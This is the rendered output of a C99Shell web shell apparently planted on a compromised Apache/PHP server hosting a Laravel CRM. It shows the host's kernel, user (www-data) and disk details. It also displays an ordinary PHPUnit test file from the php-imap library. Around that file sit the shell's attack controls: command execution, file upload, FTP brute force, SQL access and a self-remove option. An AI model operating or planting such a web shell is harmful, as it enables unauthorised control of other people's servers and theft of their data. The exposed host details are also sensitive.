!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/vendor/webklex/php-imap/tests/live/   drwxrwxrwx
Free 13.14 GB of 57.97 GB (22.67%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     FolderTest.php (13.37 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*
* File: FolderTest.php
* Category: -
* Author: M.Goldenbaum
* Created: 04.03.23 03:52
* Updated: -
*
* Description:
*  -
*/

namespace Tests\live;

use 
Webklex\PHPIMAP\Client;
use 
Webklex\PHPIMAP\Exceptions\AuthFailedException;
use 
Webklex\PHPIMAP\Exceptions\ConnectionFailedException;
use 
Webklex\PHPIMAP\Exceptions\EventNotFoundException;
use 
Webklex\PHPIMAP\Exceptions\FolderFetchingException;
use 
Webklex\PHPIMAP\Exceptions\ImapBadRequestException;
use 
Webklex\PHPIMAP\Exceptions\ImapServerErrorException;
use 
Webklex\PHPIMAP\Exceptions\InvalidMessageDateException;
use 
Webklex\PHPIMAP\Exceptions\MaskNotFoundException;
use 
Webklex\PHPIMAP\Exceptions\MessageContentFetchingException;
use 
Webklex\PHPIMAP\Exceptions\MessageFlagException;
use 
Webklex\PHPIMAP\Exceptions\MessageHeaderFetchingException;
use 
Webklex\PHPIMAP\Exceptions\MessageNotFoundException;
use 
Webklex\PHPIMAP\Exceptions\ResponseException;
use 
Webklex\PHPIMAP\Exceptions\RuntimeException;
use 
Webklex\PHPIMAP\Folder;
use 
Webklex\PHPIMAP\Message;
use 
Webklex\PHPIMAP\Query\WhereQuery;
use 
Webklex\PHPIMAP\Support\FolderCollection;

/**
 * Class FolderTest
 *
 * @package Tests
 */
class FolderTest extends LiveMailboxTestCase {

    
/**
     * Try to create a new query instance
     *
     * @return void
     * @throws AuthFailedException
     * @throws ConnectionFailedException
     * @throws FolderFetchingException
     * @throws ImapBadRequestException
     * @throws ImapServerErrorException
     * @throws MaskNotFoundException
     * @throws ResponseException
     * @throws RuntimeException
     */
    
public function testQuery(): void {
        
$folder $this->getFolder('INBOX');
        
self::assertInstanceOf(Folder::class, $folder);

        
self::assertInstanceOf(WhereQuery::class, $folder->query());
        
self::assertInstanceOf(WhereQuery::class, $folder->search());
        
self::assertInstanceOf(WhereQuery::class, $folder->messages());
    }

    
/**
     * Test Folder::hasChildren()
     *
     * @return void
     * @throws AuthFailedException
     * @throws ConnectionFailedException
     * @throws FolderFetchingException
     * @throws ImapBadRequestException
     * @throws ImapServerErrorException
     * @throws MaskNotFoundException
     * @throws ResponseException
     * @throws RuntimeException
     * @throws EventNotFoundException
     */
    
public function testHasChildren(): void {
        
$folder $this->getFolder('INBOX');
        
self::assertInstanceOf(Folder::class, $folder);

        
$delimiter $this->getManager()->get("options.delimiter");
        
$child_path implode($delimiter, ['INBOX''test']);
        if (
$folder->getClient()->getFolder($child_path) === null) {
            
$folder->getClient()->createFolder($child_pathfalse);
            
$folder $this->getFolder('INBOX');
        }

        
self::assertTrue($folder->hasChildren());
    }

    
/**
     * Test Folder::setChildren()
     *
     * @return void
     * @throws AuthFailedException
     * @throws ConnectionFailedException
     * @throws EventNotFoundException
     * @throws FolderFetchingException
     * @throws ImapBadRequestException
     * @throws ImapServerErrorException
     * @throws MaskNotFoundException
     * @throws ResponseException
     * @throws RuntimeException
     */
    
public function testSetChildren(): void {
        
$folder $this->getFolder('INBOX');
        
self::assertInstanceOf(Folder::class, $folder);

        
$delimiter $this->getManager()->get("options.delimiter");
        
$child_path implode($delimiter, ['INBOX''test']);
        if (
$folder->getClient()->getFolder($child_path) === null) {
            
$folder->getClient()->createFolder($child_pathfalse);
            
$folder $this->getFolder('INBOX');
        }
        
self::assertTrue($folder->hasChildren());

        
$folder->setChildren(new FolderCollection());
        
self::assertTrue($folder->getChildren()->isEmpty());
    }

    
/**
     * Test Folder::getChildren()
     *
     * @return void
     * @throws AuthFailedException
     * @throws ConnectionFailedException
     * @throws EventNotFoundException
     * @throws FolderFetchingException
     * @throws ImapBadRequestException
     * @throws ImapServerErrorException
     * @throws MaskNotFoundException
     * @throws ResponseException
     * @throws RuntimeException
     */
    
public function testGetChildren(): void {
        
$folder $this->getFolder('INBOX');
        
self::assertInstanceOf(Folder::class, $folder);

        
$delimiter $this->getManager()->get("options.delimiter");
        
$child_path implode($delimiter, ['INBOX''test']);
        if (
$folder->getClient()->getFolder($child_path) === null) {
            
$folder->getClient()->createFolder($child_pathfalse);
        }

        
$folder $folder->getClient()->getFolders()->where('name''INBOX')->first();
        
self::assertInstanceOf(Folder::class, $folder);

        
self::assertTrue($folder->hasChildren());
        
self::assertFalse($folder->getChildren()->isEmpty());
    }

    
/**
     * Test Folder::move()
     *
     * @return void
     * @throws AuthFailedException
     * @throws ConnectionFailedException
     * @throws EventNotFoundException
     * @throws FolderFetchingException
     * @throws ImapBadRequestException
     * @throws ImapServerErrorException
     * @throws MaskNotFoundException
     * @throws ResponseException
     * @throws RuntimeException
     */
    
public function testMove(): void {
        
$client $this->getClient();

        
$delimiter $this->getManager()->get("options.delimiter");
        
$folder_path implode($delimiter, ['INBOX''test']);

        
$folder $client->getFolder($folder_path);
        if (
$folder === null) {
            
$folder $client->createFolder($folder_pathfalse);
        }
        
$new_folder_path implode($delimiter, ['INBOX''other']);
        
$new_folder $client->getFolder($new_folder_path);
        
$new_folder?->delete(false);

        
$status $folder->move($new_folder_pathfalse);
        
self::assertIsArray($status);
        
self::assertTrue(str_starts_with($status[0], 'OK'));

        
$new_folder $client->getFolder($new_folder_path);
        
self::assertEquals($new_folder_path$new_folder->path);
        
self::assertEquals('other'$new_folder->name);

        if (
$this->deleteFolder($new_folder) === false) {
            
$this->fail("Could not delete folder: " $new_folder->path);
        }
    }

    
/**
     * Test Folder::delete()
     *
     * @return void
     * @throws AuthFailedException
     * @throws ConnectionFailedException
     * @throws EventNotFoundException
     * @throws FolderFetchingException
     * @throws ImapBadRequestException
     * @throws ImapServerErrorException
     * @throws MaskNotFoundException
     * @throws ResponseException
     * @throws RuntimeException
     */
    
public function testDelete(): void {
        
$client $this->getClient();

        
$delimiter $this->getManager()->get("options.delimiter");
        
$folder_path implode($delimiter, ['INBOX''test']);

        
$folder $client->getFolder($folder_path);
        if (
$folder === null) {
            
$folder $client->createFolder($folder_pathfalse);
        }
        
self::assertInstanceOf(Folder::class, $folder);

        if (
$this->deleteFolder($folder) === false) {
            
$this->fail("Could not delete folder: " $folder->path);
        }
    }

    
/**
     * Test Folder::overview()
     *
     * @return void
     * @throws AuthFailedException
     * @throws ConnectionFailedException
     * @throws EventNotFoundException
     * @throws FolderFetchingException
     * @throws ImapBadRequestException
     * @throws ImapServerErrorException
     * @throws MaskNotFoundException
     * @throws ResponseException
     * @throws RuntimeException
     * @throws InvalidMessageDateException
     * @throws MessageContentFetchingException
     * @throws MessageFlagException
     * @throws MessageHeaderFetchingException
     * @throws MessageNotFoundException
     */
    
public function testOverview(): void {
        
$folder $this->getFolder('INBOX');
        
self::assertInstanceOf(Folder::class, $folder);

        
$folder->select();

        
// Test empty overview
        
$overview $folder->overview();
        
self::assertIsArray($overview);
        
self::assertCount(0$overview);

        
$message $this->appendMessageTemplate($folder"plain.eml");

        
$overview $folder->overview();

        
self::assertIsArray($overview);
        
self::assertCount(1$overview);

        
self::assertEquals($message->from->first()->fullend($overview)["from"]->toString());

        
self::assertTrue($message->delete());
    }

    
/**
     * Test Folder::appendMessage()
     *
     * @return void
     * @throws AuthFailedException
     * @throws ConnectionFailedException
     * @throws EventNotFoundException
     * @throws FolderFetchingException
     * @throws ImapBadRequestException
     * @throws ImapServerErrorException
     * @throws InvalidMessageDateException
     * @throws MaskNotFoundException
     * @throws MessageContentFetchingException
     * @throws MessageFlagException
     * @throws MessageHeaderFetchingException
     * @throws MessageNotFoundException
     * @throws ResponseException
     * @throws RuntimeException
     */
    
public function testAppendMessage(): void {
        
$folder $this->getFolder('INBOX');
        
self::assertInstanceOf(Folder::class, $folder);

        
$message $this->appendMessageTemplate($folder"plain.eml");
        
self::assertInstanceOf(Message::class, $message);

        
self::assertEquals("Example"$message->subject);
        
self::assertEquals("to@someone-else.com"$message->to);
        
self::assertEquals("from@someone.com"$message->from);

        
// Clean up
        
$this->assertTrue($message->delete(true));
    }

    
/**
     * Test Folder::subscribe()
     *
     * @return void
     * @throws AuthFailedException
     * @throws ConnectionFailedException
     * @throws FolderFetchingException
     * @throws ImapBadRequestException
     * @throws ImapServerErrorException
     * @throws MaskNotFoundException
     * @throws ResponseException
     * @throws RuntimeException
     */
    
public function testSubscribe(): void {
        
$folder $this->getFolder('INBOX');
        
self::assertInstanceOf(Folder::class, $folder);

        
$status $folder->subscribe();
        
self::assertIsArray($status);
        
self::assertTrue(str_starts_with($status[0], 'OK'));

        
// Clean up
        
$folder->unsubscribe();
    }

    
/**
     * Test Folder::unsubscribe()
     *
     * @return void
     * @throws AuthFailedException
     * @throws ConnectionFailedException
     * @throws FolderFetchingException
     * @throws ImapBadRequestException
     * @throws ImapServerErrorException
     * @throws MaskNotFoundException
     * @throws ResponseException
     * @throws RuntimeException
     */
    
public function testUnsubscribe(): void {
        
$folder $this->getFolder('INBOX');
        
self::assertInstanceOf(Folder::class, $folder);

        
$folder->subscribe();

        
$status $folder->subscribe();
        
self::assertIsArray($status);
        
self::assertTrue(str_starts_with($status[0], 'OK'));
    }

    
/**
     * Test Folder::examine()
     *
     * @return void
     * @throws AuthFailedException
     * @throws ConnectionFailedException
     * @throws FolderFetchingException
     * @throws ImapBadRequestException
     * @throws ImapServerErrorException
     * @throws MaskNotFoundException
     * @throws ResponseException
     * @throws RuntimeException
     */
    
public function testExamine(): void {
        
$folder $this->getFolder('INBOX');
        
self::assertInstanceOf(Folder::class, $folder);

        
$status $folder->examine();
        
self::assertTrue(isset($status["flags"]) && count($status["flags"]) > 0);
        
self::assertTrue(($status["uidnext"] ?? 0) > 0);
        
self::assertTrue(($status["uidvalidity"] ?? 0) > 0);
        
self::assertTrue(($status["recent"] ?? -1) >= 0);
        
self::assertTrue(($status["exists"] ?? -1) >= 0);
    }

    
/**
     * Test Folder::getClient()
     *
     * @return void
     * @throws AuthFailedException
     * @throws ConnectionFailedException
     * @throws FolderFetchingException
     * @throws ImapBadRequestException
     * @throws ImapServerErrorException
     * @throws MaskNotFoundException
     * @throws ResponseException
     * @throws RuntimeException
     */
    
public function testGetClient(): void {
        
$folder $this->getFolder('INBOX');
        
self::assertInstanceOf(Folder::class, $folder);
        
self::assertInstanceOf(Client::class, $folder->getClient());
    }

    
/**
     * Test Folder::setDelimiter()
     *
     * @return void
     * @throws AuthFailedException
     * @throws ConnectionFailedException
     * @throws FolderFetchingException
     * @throws ImapBadRequestException
     * @throws ImapServerErrorException
     * @throws MaskNotFoundException
     * @throws ResponseException
     * @throws RuntimeException
     */
    
public function testSetDelimiter(): void {
        
$folder $this->getFolder('INBOX');
        
self::assertInstanceOf(Folder::class, $folder);

        
$folder->setDelimiter("/");
        
self::assertEquals("/"$folder->delimiter);

        
$folder->setDelimiter(".");
        
self::assertEquals("."$folder->delimiter);

        
$default_delimiter $this->getManager()->get("options.delimiter""/");
        
$folder->setDelimiter(null);
        
self::assertEquals($default_delimiter$folder->delimiter);
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0064 ]--